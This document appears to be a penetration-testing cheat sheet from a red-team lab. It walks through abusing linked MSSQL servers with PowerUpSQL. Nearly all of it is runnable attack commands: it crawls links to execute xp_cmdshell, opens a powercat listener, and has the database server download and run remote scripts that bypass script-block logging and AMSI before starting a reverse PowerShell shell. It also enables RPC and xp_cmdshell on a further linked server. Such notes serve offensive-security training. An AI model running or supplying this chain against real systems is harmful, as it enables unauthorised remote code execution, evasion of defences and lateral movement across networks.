mssql Enumerate SQL Links: PS> Import-Module .\PowerupSQL-master\PowerupSQL.psd1 PS> Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose PS> Get-SQLServerLink -Instance us-mssql.us.techcorp.local -Verbose PS> Get-SQLServerLinkCrawl -Instance us-mssql -Verbose PS> Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''whoami''' or directly in sql select * from master..sysservers select * from openquery("192.168.23.25",'select * from master..sysservers') select * from openquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')') break out through xp_cmdshell listener PS> . .\powercat.ps1 PS> powercat -l -v -p 443 -t 1000 execute: PS> Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://192.168.100.X/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://192.168.100.X/amsibypass.txt);iex (iwr -UseBasicParsing http://192.168.100.X/Invoke-PowerShellTcpEx.ps1)"''' as the next link is configured to use SA we can enable xp_cmdshell on the next machine too: # ignore error message PS> Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc', @optvalue='TRUE'" PS> Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc out', @optvalue='TRUE'" PS> Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT ""db-sqlsrv""" PS> Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT ""db-sqlsrv""" check if this worked: PS> Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''whoami''' PS> Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://192.168.100.x/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://192.168.100.x/amsibypass.txt);iex (iwr -UseBasicParsing http://192.168.100.x/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget db-sqlsrv